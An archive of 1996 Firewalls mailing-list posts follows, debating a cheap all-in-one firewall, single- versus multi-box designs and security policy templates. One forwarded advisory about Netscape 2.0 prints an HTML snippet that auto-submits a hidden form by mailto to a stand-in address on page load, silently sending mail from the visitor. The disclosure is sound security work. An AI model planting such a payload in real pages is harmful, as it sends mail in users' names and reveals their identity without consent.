To: Jay Tingiris <jtingiris@gw.paradyne.com>
Cc: firewalls@GreatCircle.COM
Subject: Re: Firewalls: NT versus UNIX
References: <s144828a.089@gw.paradyne.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Jay Tingiris wrote:
> 

> 
> Low Cost Firewall:  $2,000 US (hardware/software included)
> 

This solution is perfectly plausible as long as your 
payroll budget is infinite.



giff


-- 
Wayne Gifford					giff@incog.com
Sun Internet Commerce Group			Phone 703-716-6426
2100 Reston Parkway	 			Phax  703-620-1244
Reston VA, 22091				http://www.incog.com

From firewalls-owner  Tue Mar 12 07:20:47 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA01873 for firewalls-outgoing; Tue, 12 Mar 1996 07:01:53 -0800 (PST)
Received: from gw3.att.com (gw4.att.com [204.179.186.34]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA01868 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 07:01:46 -0800 (PST)
Received: from vodka.sse.att.com by ig4.att.att.com id AA20390; Tue, 12 Mar 96 09:52:19 EST
Message-Id: <9603121452.AA20390@ig4.att.att.com>
From: mdr@vodka.sse.att.com
Subject: Re: Firewalls: NT versus UNIX
To: jtingiris@gw.paradyne.com (Jay Tingiris)
Date: Tue, 12 Mar 1996 10:03:40 -0500 (EST)
Cc: firewalls@greatcircle.com
In-Reply-To: <s144828a.089@gw.paradyne.com> from "Jay Tingiris" at Mar 11, 96 07:41:19 pm
X-Mailer: ELM [version 2.4 PL23-upenn2.7]
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Jay,

First of all let me congradulate you for having the guts to post this
to this list.  Your configuration will attract a lot of flames about
putting too much onto one box.

>From a technical standpoint, the idea has problems and it is
definitely not the best in terms of security.  I'm sure that its
shortcomings will be noted in full.  But let's accept your constraint
that the system must cost $2000.  Perhaps you intend to field *tons* of
these systems at the offices of small companies or field sites.

Let's face it, not everyone has 10-20K to spend on a firewall.  
The real question is will a site be better off after spending $2000?  
Certainly.  The configuration that you post will protect the site *much* 
better than the alternative of having no firewall at all.

In fact your security may be *better* than that of some companies that
have bought expensive firewalls only to open up insecure services. It
really happens :(.

Now, I'm normally the guy who chirps in here about how a secure OS
could solve all of your problems -- but I don't see how you can get
there with your budget constraints.  Too bad, it would help you secure
the box itself which is an admittedly a much bigger target in your
spec.  You may have trouble getting that all to run on one box without
purchasing lot of expensive memory, but that's another problem.

Looks to me that you'll need a FreeBSD or Linux box on the
clone-of-the month that's cheapest.  There have been some excellent
postings in months past that detail things to "harden" the OS such as
using read-only file systems, chroot etc.  Accompany that with free or
public domain proxies and servers of your choice.

I further recommend that you periodically blow away the entire OS
and reload from CD or tape once in a while.  But before you go down
this path, compare the cost of what you're protecting against the cost
of the firewall; see if you can open that budget up a litte :)

If you are really configuring a *single* sytem, by now you should be
aware that your salary as an engineer configuring this one of a kind 
cost-cutter system will be for more expensive than $2000.  
Maybe you should spend less on engineering time and more on purchase price. :)
I'm sure that may vendors will happily accept your money, and you will 
gain overall because they can afford to work harder on security because 
they have a larger base over which to spread the R&D costs.

Mark Riggins
Secure Systems Engineering
AT&T Bell Labs

> 
> Low Cost Firewall:  $2,000 US (hardware/software included)
> 
> Supported Services: 
> 1) TCP/IP filtering mechanism that allows for priority queuing
> 2) HTTP caching proxy support (internal and external)
> 3) FTP caching proxy support (internal and external)
> 4) GOPHER caching proxy support (internal and external)
> 5) Telnet proxy support  (internal and external)
> 6) SMTP secured mail transport mechanism (inbound and outbound)
> 7) DNS Server Capability (forwarding, caching, and secondary support)
> 8) HTTP Server Support for External/Internal WWW pages
> 9) MBONE tunnel endpoint (secure internal broadcast)
> 10) IRC Client and Server support (internal and external)
> 11) WAIS caching proxy support (internal and external)
> 12) POP mail support
> 13) Automatic Status reports and cache management features.
> 14) ALL ON THE SAME MACHINE!
> 

From firewalls-owner  Tue Mar 12 07:34:51 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA03074 for firewalls-outgoing; Tue, 12 Mar 1996 07:26:01 -0800 (PST)
Received: from tuna.wang.com (tuna.wang.com [150.124.136.4]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA03067 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 07:25:55 -0800 (PST)
Received: from mail.wangfed.com (ns.wangfed.com [159.94.10.19])
    by tuna.wang.com (8.6.12/8.6.12tf1) with SMTP id KAA08878
    for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 10:24:13 -0500
Received: from hfsi.hfsi.com by mail.wangfed.com (1.37.109.4/A.09.00a)
	id AA13003; Tue, 12 Mar 96 10:14:29 -0600
Received: from [159.94.14.48] by hfsi (BULL 5.61++/B.O.S 02.01)
	id AA02443; Tue, 12 Mar 96 10:18:53 -0500
Date: Tue, 12 Mar 96 10:18:53 -0500
Message-Id: <9603121518.AA02443@hfsi>
From: "KM"  <goertzek@gateway.wangfed.com>
Reply-To: "KM"  <goertzek@wangfed.com>
To: firewalls@greatcircle.com
Subject: BoS: Netscape2.0 sends mail to the world without authority (fwd)
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

------------ Forwarded Message begins here ------------
From: Julian Assange <proff@suburbia.net>
Date: Tue, 12 Mar 1996 13:05:23 +1000
To: best-of-security@suburbia.net
Subject: BoS: Netscape2.0 sends mail to the world without authority

Date: Mon, 11 Mar 1996 13:41:04 -0500
From: Jon Reeves <reeves@zk3.dec.com>
Subject: Yet another Trojan horse lurking in Netscape 2.0...

I noticed, while loading a web page, that there was a mailto: URL active
(using the "Easter Egg" Ctrl-Alt-T popup to see active URLs).  Sure enough,
after I cancelled that and examined the source, I saw something like this:

<body onLoad="document.mailme.submit()">
<form method=post name="mailme" action="mailto:nasty@secret.org?subject=gotcha">
<input type=hidden name="hi" value="there">
</form>

A quick test on my local machine shows that this will send a message to
nasty@secret.org with the subject gotcha and the body "hi=there".

This is insidious; it means that E-mail messages, purportedly from me (and
all traces will show they really are from me) can be sent anywhere, without
my knowledge, with contents that I do not approve.  Further, it means that I
can no longer count on browsing a site without my userid being disclosed.
Unlike Java, there is no way to disable this.  [Also been submitted to
Netscape.]

------------ Forwarded Message ends here ------------


K.M. Goertzel, Program/Project Manager
Secure Systems and Services Operation 
WANG FEDERAL, Inc.  
7900 Westpark Drive - MS 700 
McLean, VA  22102-4299  USA
TEL: 703-827 3914
FAX: 703-827 3161 
EMAIL:  goertzek@wangfed.com
WEB:  http://www.wangfed.com

+----------------------------------------------+
|                        ...I guessed not half |
| Life's symphony till I had made hearts beat, |
| And touched Love's body into trembling cries |
|                      - Wilfred Owen, "Music" |
+----------------------------------------------+


From firewalls-owner  Tue Mar 12 08:03:36 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA03360 for firewalls-outgoing; Tue, 12 Mar 1996 07:34:11 -0800 (PST)
Received: from ap.org (eos.ap.org [165.1.6.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA03346 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 07:34:05 -0800 (PST)
Received: from vin95.ap.org ([165.1.3.120]) by ap.org (4.1/SMI-4.1)
	id AA29871; Tue, 12 Mar 96 10:28:14 EST
Message-Id: <31458B27.685B@ap.org>
Date: Tue, 12 Mar 1996 09:33:11 -0500
From: heether <heether@ap.org>
Organization: Associated Press
X-Mailer: Mozilla 2.0 (Win95; I)
Mime-Version: 1.0
To: firewalls@greatcircle.com
Subject: Firewalls
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

subscibe firewalls-digest

From firewalls-owner  Tue Mar 12 08:20:33 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA02707 for firewalls-outgoing; Tue, 12 Mar 1996 07:21:09 -0800 (PST)
Received: from disclosure.com (di2.disclosure.com [205.156.194.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id HAA02693 for <firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 07:21:00 -0800 (PST)
Received: (from scott@localhost) by disclosure.com (8.7.3/8.7.3) id KAA03539; Tue, 12 Mar 1996 10:22:54 -0500 (EST)
Date: Tue, 12 Mar 1996 10:22:53 -0500 (EST)
From: Scott Barman <scott@di2.disclosure.com>
To: Jay Tingiris <jtingiris@gw.paradyne.com>
cc: firewalls@GreatCircle.COM
Subject: Re: Firewalls: NT versus UNIX
In-Reply-To: <s144828a.089@gw.paradyne.com>
Message-ID: <Pine.SUN.3.91.960312100808.3273B-100000@di2>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Mon, 11 Mar 1996, Jay Tingiris wrote:

> Currently, I have personally evaluated many products (UNIX, DOS/Windows,
> and NT) to try and meet similar requirements for our site.   I was unable
> to meet these requirements with a single vendor product.  We were forced
> to build a hybrid solution of many different software products written
> for UNIX.

I am doing this as a general post because not only can't I remember the
company name, but I wanted to get comments on their product.

There is a company out of Florida (Orlando?) who is selling a firewall
product that looks interesting.  Here are some of the specs as I
remember them (I saw an ad and misplaced the materials they sent me):

	1) Two separate computers (Intel-based) in the box, one is the
	   firewall system, the other is the application gateway on
	   the "internal" network.  As a firewall, it's treated as one
	   box.  Internally to the firewall, they are two separate systems.
	2) The systems are running a modified BSDI (whose isn't these
	   days! :-).
	3) The system supports application proxying, IP filtering and
	   NAT (RFC1597).
	4) It comes with four NICs (two per computer) so you can have
	   a DMZ between the two systems.
	5) You can set up the external system as an anonymous FTP server
	   and (as I recall) a Web server, too.  The external system can
	   run your external DNS, too.

I found the dual system with the "built-in" DMZ approach an interesting
idea.  And another interesting aspect, is that the system costs the same
(list price) as most other firewalls hardware/software combo.

Does someone know the name of this company?  I would love to call them
and get another copy of their literature (especially since I may have a
customer for them! :-).

scott barman
--
scott barman                  DISCLAIMER: I speak to anyone who will listen,
scott@disclosure.com                      and I speak only for myself.
barman@ix.netcom.com
  "Micro$oft and Windoze/NT will be the cause of the de-evolution of
   network security just as the original PC and BASIC was the cause of
   the de-evolution of programming."	- scott barman


From firewalls-owner  Tue Mar 12 08:39:02 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA05125 for firewalls-outgoing; Tue, 12 Mar 1996 08:09:52 -0800 (PST)
Received: from nsco.network.com (nsco.network.com [129.191.1.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA05098 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 08:09:40 -0800 (PST)
Received: from anubis.network.com by nsco.network.com (4.1/1.34)
	id AA06703; Tue, 12 Mar 96 10:11:14 CST
Received: from blefscu.network.com by anubis.network.com (4.1/SMI-4.1)
	id AA18572; Tue, 12 Mar 96 10:09:39 CST
Date: Tue, 12 Mar 96 10:09:39 CST
From: amolitor@anubis.network.com (Andrew Molitor)
Message-Id: <9603121609.AA18572@anubis.network.com>
To: firewalls@greatcircle.com
Subject: Re: books on security policies
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

	While it is true that it's hard to invent a policy template, I will
take this opportunity to plug my little effort in this direction.  URL
supplied below.

	I thought fairly hard about what one might want, when one is asking
for a sample security policy. I decided that the higher level stuff, the
'sales dept. can't talk to engineering' stuff is, in fact, not subject to
being stuffed in a template. This stuff is also easy to come up with -- it
*should* fall right out of how your site does business. The sticky bit here
is forcing the right people to have a meeting or two and write some things
down. Get Dogbert in, no problem.

	The harder bit, turning a high level policy into a set of statements
about what can go where on the network, deploying, and managing that
information, can be handled with some boilerplate. To that end, I put
together a workbook designed to help the hapless network admin design &
manage filtering rules and configurations that a) don't bust everything, b)
implement the target policy as well as possible and c) deviate in documented
ways from the target policy, where such deviations are necessary.

	See http://www.v-one.com/pubs/pubs.htm, the 'Network Infrastructure
Access Policy Workbook'. This is NOT a product of NSC, I am NOT wearing my
corporate shill hat, this is my pathetic stab at glory. It's also a
work in progress, and needs some polish.

		Andrew

From firewalls-owner  Tue Mar 12 08:58:45 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA03830 for firewalls-outgoing; Tue, 12 Mar 1996 07:41:02 -0800 (PST)
Received: from gw1.fbc.com (gw1.csfb.com [198.240.130.66]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA03820 for <firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 07:40:56 -0800 (PST)
Received: by gw1.fbc.com (4.1/GW1-v1.1)
	id AA09182; Tue, 12 Mar 96 10:43:35 EST
Received: from unknown(137.34.1.36) by gw1.fbc.com via smap (V1.3)
	id tma009142; Tue Mar 12 10:43:17 1996
Received: from postoffice.fir.fbc.com (postoffice.fir.fbc.com [137.34.19.134]) by csfb1.fir.fbc.com (8.6.12/8.6.12) with ESMTP id KAA21602 for <firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 10:38:55 -0500
Received: from tekdev-17.fir.fbc.com (tekdev-17.fir.fbc.com [137.34.159.46]) by postoffice.fir.fbc.com (8.6.9/8.6.12) with SMTP id KAA12081 for <firewalls@GreatCircle.COM>; Tue, 12 Mar 1996 10:38:53 -0500
Received: by tekdev-17.fir.fbc.com (4.1) id AA01713; Tue, 12 Mar 96 10:38:07 EST
From: "Sabah Yunus" <syunus@fir.fbc.com>
Message-Id: <9603121038.ZM1711@tekdev-17>
Date: Tue, 12 Mar 1996 10:38:07 -0500
In-Reply-To: owner-firewalls-digest@uunet.uu.net
        "firewalls-digest V5 #153" (Mar 11, 20:03)
References: <199603120019.QAA19550@miles.greatcircle.com>
X-Mailer: Z-Mail (3.2.1 10oct95)
To: firewalls@GreatCircle.COM
Subject: Re: firewalls-digest V5 #153
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Please stop the firewalls-digest to syunus@fir.fbc.com

THanks

From firewalls-owner  Tue Mar 12 09:03:25 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA07361 for firewalls-outgoing; Tue, 12 Mar 1996 08:49:00 -0800 (PST)
Received: from novell.com (orm-ums.orem.novell.com [151.155.174.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA07322 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 08:48:28 -0800 (PST)
Received: from INET-ORM-Message_Server by fromGW
	with Novell_GroupWise; Tue, 12 Mar 1996 09:44:11 -0700
Content-Type: text/plain
Message-ID: <s145476b.039@fromGW>
X-Mailer: Novell GroupWise 4.1
Date: Tue, 12 Mar 1996 08:02:47 -0700
From: rcabana@novell.com (Richard Cabana)
To: firewalls@greatcircle.com, sjlim@gsenu7.gsen.goldstar.co.kr
Subject: IPX problem -Reply
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hi;

Have you considered implementing NetWare/ IP ?

If you used this product, you can eliminate IPX on the backbone and
facilitate your firewalls.




From firewalls-owner  Tue Mar 12 10:10:18 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA09479 for firewalls-outgoing; Tue, 12 Mar 1996 09:30:39 -0800 (PST)
Received: from POWERED.ZOO2.CS.YALE.EDU (ZOO-GW.CS.YALE.EDU [128.36.0.5]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id JAA09474 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 09:30:34 -0800 (PST)
Received: by POWERED.ZOO2.CS.YALE.EDU id MAA85246; Tue, 12 Mar 1996 12:28:54 -0500
Date: Tue, 12 Mar 1996 12:28:52 -0500 (EST)
From: "Rev. Ben" <samman-ben@CS.YALE.EDU>
To: firewalls@greatcircle.com
Subject: Re: Firewalls: NT versus UNIX
In-Reply-To: <9603121452.AA20390@ig4.att.att.com>
Message-ID: <Pine.A32.3.91.960312122530.56056B-100000@POWERED.ZOO.CS.YALE.EDU>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> Looks to me that you'll need a FreeBSD or Linux box on the
> clone-of-the month that's cheapest.  There have been some excellent
> postings in months past that detail things to "harden" the OS such as
> using read-only file systems, chroot etc.  Accompany that with free or
> public domain proxies and servers of your choice.

Speaking of this, how do people feel about using this route as a 'cheap' 
firewall for quick and dirty distribution within an internal network--say 
as gateway machines to internal networks?

MIS could periodically distribute CD-ROMs with the current configuration 
of the month to all the different sites and have them run them behind the 
firewall--make for a significantly harder internal network.

Ben Samman..............................................samman@cs.yale.edu
"If what Proust says is true, that happiness is the absence of fever, then 
I will never know happiness. For I am possessed by a fever for knowledge, 
experience, and creation."                                      -Anais Nin
Want to give a soon-to-be college grad a job?         Mail me for a resume
Je voudrais travailler en France.  J'ai deja obtenir une autorisation de
travail.


> > Low Cost Firewall:  $2,000 US (hardware/software included)
> > 
> > Supported Services: 
> > 1) TCP/IP filtering mechanism that allows for priority queuing
> > 2) HTTP caching proxy support (internal and external)
> > 3) FTP caching proxy support (internal and external)
> > 4) GOPHER caching proxy support (internal and external)
> > 5) Telnet proxy support  (internal and external)
> > 6) SMTP secured mail transport mechanism (inbound and outbound)
> > 7) DNS Server Capability (forwarding, caching, and secondary support)
> > 8) HTTP Server Support for External/Internal WWW pages
> > 9) MBONE tunnel endpoint (secure internal broadcast)
> > 10) IRC Client and Server support (internal and external)
> > 11) WAIS caching proxy support (internal and external)
> > 12) POP mail support
> > 13) Automatic Status reports and cache management features.
> > 14) ALL ON THE SAME MACHINE!

From firewalls-owner  Tue Mar 12 10:11:53 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA04156 for firewalls-outgoing; Tue, 12 Mar 1996 07:50:41 -0800 (PST)
Received: from orpheus.amdahl.com (orpheus.amdahl.com [129.212.11.6]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA04144 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 07:50:35 -0800 (PST)
Received: from sousa.amdahl.com by orpheus.amdahl.com with smtp
	(Smail3.1.29.1 #3) id m0twWJj-0001YKC; Tue, 12 Mar 96 07:48 PST
Received: by sousa.amdahl.com (Smail3.1.28.1 #4)
	id m0twWHD-0003oNC; Tue, 12 Mar 96 07:46 PST
Message-Id: <m0twWHD-0003oNC@sousa.amdahl.com>
From: jgt10@amdahl.com (John G. Thompson)
Subject: Re: books on security policies
To: firewalls@greatcircle.com
Date: Tue, 12 Mar 1996 07:46:18 -0800 (PST)
In-Reply-To: <199603120344.TAA29114@miles.greatcircle.com> from "John Bell" at Mar 11, 96 10:42:52 pm
X-Mailer: ELM [version 2.4 PL24]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> > are there any books in print that address real-life security policies?
> > there are any number of books on security (both networks and systems), but
> > none that i have seen to date discuss - in any detail - an organization's
> > security policies: what they should include, etc.

There is an ftp site or web site on the net that has collected
several policies.  I don't remember the site, maybe they will
email you the URL.

0) Determine you organization's mission and goals, 
	if you haven't already done so.

> 1) Determine your assets and organizational needs

1a) Determine what functions and services you need to get or
    to provide to do your mission with your resources.

> 2) Decide which assets warrant extra protection

2a) Determine which services or functions can gotten or 
    provided while providing an 'acceptable' level or risk or 
    protection.  If necessary, determine what is 'acceptable'
    for each asset.

> 3) Form a consensus on the type/level of protection required

3a)  Form a concensus that either performance or security comes first.
     There MUST be a buy in that security is the top priority or 
     performance is the top priority.  There are trade offs for
     each decsion.

> 4) Write this information down
> 5) Hand this document to your Technical and Legal departments, in order
>    to determine if policy implementation is feasible

The technical and legal departments must be involved all along.  

A policy invented by management apart from the technical and 
legal players is often not worth the paper it is printed on.

A concensus can't be built if the major players of technical and 
legal aren't atleast considered in the policy.

> 6) If step "5" is a go, have technical/legal author procedure docs
>    which will be referenced by the policy doc

If anything, I would see the remaining effort of cleaning up the 
docs created in (4) to make changes out of (5) and set 
announcement and implementation dates.

> 7) Make changes as organizational needs and/or assets change
> 
> That's about as close to a policy template that you'll see. Policies tend
> to be tailored, not one-size-fits-all. By definition, this requires
> extra effort (effort well spent up front, _before_ implementation).

I couldn't agree more!

A good policy is made by LOTS of effort up front.  Like most good
engineering jobs, the more work put into the effort in the design
phase, the less goes seriously haywire down the road!

-- 
John G. Thompson    jgt10@amdahl.com      1-408-992-2088
Amdahl Corporation, P.O. Box 3470 MS 383, Sunnyvale, CA 94088-3470

[The opinions expressed are MINE. They do not necessarily reflect the 
policies, procedures, press releases or opionions of the Amdahl Corporation.]

From firewalls-owner  Tue Mar 12 10:18:39 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA07302 for firewalls-outgoing; Tue, 12 Mar 1996 08:48:11 -0800 (PST)
Received: from gatekeeper.Bridge.COM (gatekeeper.bridge.com [167.76.159.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA07297 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 08:48:04 -0800 (PST)
Received: (from mailproxy@localhost) by gatekeeper.Bridge.COM (8.6.12/8.6.9) id KAA16557; Tue, 12 Mar 1996 10:45:43 -0600
Received: from ignatz.bridge.com(167.76.24.6) by gatekeeper.Bridge.COM via smap (V1.0mjr)
	id sma016552; Tue Mar 12 10:45:42 1996
Received: from ernie.bridge.com by ignatz.bridge.com with SMTP id AA19673
  (5.67b/IDA-1.5); Tue, 12 Mar 1996 10:53:08 -0600
Date: Tue, 12 Mar 1996 10:53:08 -0600
From: Ken Hardy <ken@bridge.com>
Message-Id: <199603121653.AA19673@ignatz.bridge.com>
To: jtingiris@gw.paradyne.com, samman-ben@CS.YALE.EDU,
        firewalls@greatcircle.com
Subject: Re: Firewalls: NT versus UNIX
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

"Rev. Ben" <samman-ben@CS.YALE.EDU> recently preached:

>One of the problems with a 'low cost firewall' is that inevitably its not 
>a secure setup and could lead to a false sense of security. 

Please present a mathematical proof that correlates cost to security.  ;->
There is no such inevitability.  Though you certainly need to be up to
speed on a lot of issues if you're going to roll your own, it's
entirely possible to create a quite secure 'wall.  The difficulty
depends in part, of course on the scope of what you're trying to
accomplish (the original poster seems to want to accomplish quite a
lot), and it certainly requires a non-trivial level of expertise.
Nevertheless, the most expensive commercial firewall, poorly
administered, could be a lot less secure.

I agree that you probably (not "inevitably") have a better chance of
getting it right with a *good* commercial tool.  But certainly you know
that just because it has a slick brochure and costs a lot doesn't mean
it's good.  Or well administered.

>Um.  As someone who is admittedly NOT a firewalls professional, 

Ah-hah!   (No, we still appreciate your thoughtful input. :-)

>*	The idea of a firewall is minimize the number of uses a machine 
>has.  The less it is used, the easier it is to nail it down and minimize 
>your security perimeter.  When you start adding services to your firewall 
>you start increasing the size of your security perimeter.  In this case 
>you've basically got a proxy box on steriods there.  It would be no 
>harder to break into this machine and then use it to exploit a machine 
>behind the 'firewall' than to simply hit one of the machines behind the 
>firewall.

 *  I would classify various firewall functions under the single "use"
    of firewall machine.  Splitting your functions among n number of
    machines means that you've got n times the number of machines to
    securely administer and n times the chance of screwing up.  You've
    also got n times the frequency of hardware failure bringing down at
    least a part of your permimeter, and you need n times the (properly
    configured) hot backup machines, if that's part of your policy.

    Note that I agree that *only* firewall functions belong on the
    firewall.  Some of the original poster's bulleted items (servers &
    caches, e.g.) are not strictly speaking, IMHO, firewall functions,
    and likely belong elsewhere.  The idea is to keep the processes
    running on the firewall as pure and simple as possible, but if
    you're going to run them, I don't see a direct correlation of risk
    to how many of them are on one box.  (I'm assuming, of course, that
    the machine can handle all you ask of it; we're talking strictly
    security not performance.)

    If, say, your HTTP proxy is going to compromise your security
    perimeter, you're as thoroughly toasted if said proxy is one of
    five machines instead of one of one.  Maybe your mail proxy is
    still relatively safe, but the real prize is on the inside where
    the number of perimeter machines is irrelevant once one of them is
    broached.

    I do agree, however, that if you take your comment, "The less it is
    used, the easier it is to nail it down" to its logical conclusion,
    it's very secure; don't use it at all, unplug it, and put it in a
    vault.  That's security!  ;-)

 *  By more clearly defining precisely what functions you want to put
    where in what sort of topology, we could probably come up with a
    more secure scenario, but that's due to the structure of the
    relationship between the boxes and the processes on them, not
    *just* because they're on separate boxes.  We'd probably throw a
    few screening routers into the equation, too.

As to what Jay wanted, it definitely could be put together with a cheap
or discard x86 box and free software.  Using discards, you probably
could get multiple machines for under $2K; they probably needn't be
Pentiums or Sparcs.  Putting *all* that on a single "firewall" machine
would definitely lower the level of confidence in its own security (and
maybe require a Pentium?)  However, it would *definitely* cost more
than $2K worth of someone's time to do it.  But maybe they have the
time and not the cash.

- KH

From firewalls-owner  Tue Mar 12 10:27:25 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA09219 for firewalls-outgoing; Tue, 12 Mar 1996 09:26:06 -0800 (PST)
Received: from POWERED.ZOO3.CS.YALE.EDU (ZOO-GW.CS.YALE.EDU [128.36.0.5]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id JAA09214 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 09:25:59 -0800 (PST)
Received: by POWERED.ZOO3.CS.YALE.EDU id MAA63096; Tue, 12 Mar 1996 12:24:18 -0500
Date: Tue, 12 Mar 1996 12:24:17 -0500 (EST)
From: "Rev. Ben" <samman-ben@CS.YALE.EDU>
To: firewalls@greatcircle.com
Subject: Re: Firewalls: NT versus UNIX
In-Reply-To: <199603121653.AA19673@ignatz.bridge.com>
Message-ID: <Pine.A32.3.91.960312121454.56056A-100000@POWERED.ZOO.CS.YALE.EDU>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> Please present a mathematical proof that correlates cost to security.  ;->
> There is no such inevitability.  Though you certainly need to be up to

True there is none.  But if you're trying to protect data that is 
considered valuable enough to need a firewall then you might want to 
reexamine your priorities.  It seems silly to me to say, 'We've got all 
this information that we need to protect, but that we don't want to spend 
all that much doing it.'  If the data is that important you will find a way.

> accomplish (the original poster seems to want to accomplish quite a
> lot), and it certainly requires a non-trivial level of expertise.
> Nevertheless, the most expensive commercial firewall, poorly
> administered, could be a lot less secure.

Now we're talking about a whole different ball of wax: the expertise of 
the system admin.  If the sysadmin is good, it doesn't really matter what 
sort of system he's running.  But for those of us that are fallible it 
requires only one sucessful breakin for us to have a bad day.  In those 
cases when we fail, if there is some sort of safety net then its a lot safer.

>  *  I would classify various firewall functions under the single "use"
>     of firewall machine.  Splitting your functions among n number of
>     machines means that you've got n times the number of machines to
>     securely administer and n times the chance of screwing up.  You've

Good adminstration is always the key.  But if you have, say, an HTTP 
proxy siting on a machine that serves that and ftp on your machine in the 
DMZ that is regarded as an insecure host, if an interloper were to grab 
that machine, it would get the intruder nowhere.  IF you were running the 
HTTP on the firewall machine and the intruder compromised it, he's got a 
nice squishy internal network now that trusts the firewall.

(Of course here's a plug for non-trusting internal systems, but that's a 
REAL pain to administer...)

>     Note that I agree that *only* firewall functions belong on the
>     firewall.  Some of the original poster's bulleted items (servers &
>     caches, e.g.) are not strictly speaking, IMHO, firewall functions,
>     and likely belong elsewhere.  The idea is to keep the processes

There's no reason whatsover to have the HTTPd on the firewall.  
Especially to serve incoming connections.

>     If, say, your HTTP proxy is going to compromise your security
>     perimeter, you're as thoroughly toasted if said proxy is one of
>     five machines instead of one of one.  Maybe your mail proxy is

Nope. Like I said above, if the http proxy is compromised, then its 
compromisd--break out the tape and restore from backup.  If its running 
on your firewall, you're not a happy camper.

>     it's very secure; don't use it at all, unplug it, and put it in a
>     vault.  That's security!  ;-)

That's not a good way to think about it, because unfortunately, someone 
will need to use it--machines are only useful when they're connected to 
other ones--in the interim, we've got to make it safe for them to do so.

> maybe require a Pentium?)  However, it would *definitely* cost more
> than $2K worth of someone's time to do it.  But maybe they have the
> time and not the cash.

I wish them good luck and hope they post to the list.  I'd love to see 
what they're doing.

Ben.
Ben Samman..............................................samman@cs.yale.edu
"If what Proust says is true, that happiness is the absence of fever, then 
I will never know happiness. For I am possessed by a fever for knowledge, 
experience, and creation."                                      -Anais Nin
Want to give a soon-to-be college grad a job?         Mail me for a resume
Je voudrais travailler en France.        J'ai une autorisation de travail.

From firewalls-owner  Tue Mar 12 11:22:02 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA10811 for firewalls-outgoing; Tue, 12 Mar 1996 09:47:30 -0800 (PST)
Received: from gmd.com.pe ([200.0.107.178]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA10785 for <firewalls@greatcircle.com>; Tue, 12 Mar 1996 09:47:10 -0800 (PST)
Received: by gmd.com.pe with Microsoft Exchange (IMC 4.1.611)
	id <01BB1012.7B068060@gmd.com.pe>; Tue, 12 Mar 1996 12:50:24 -0500
Message-ID: <c=US%a=_%p=GMD%l=KUELAP960312125022LD004C00@gmd.com.pe>
From: Simonas Galarreta <sgalarreta@gmd.com.pe>
To: "firewalls@greatcircle.com" <firewalls@greatcircle.com>
Subject: Suscribe firewalls-digest
Date: Tue, 12 Mar 1996 12:50:22 -0500
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.1.611
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="---- =_NextPart_000_01BB1012.7B080700"
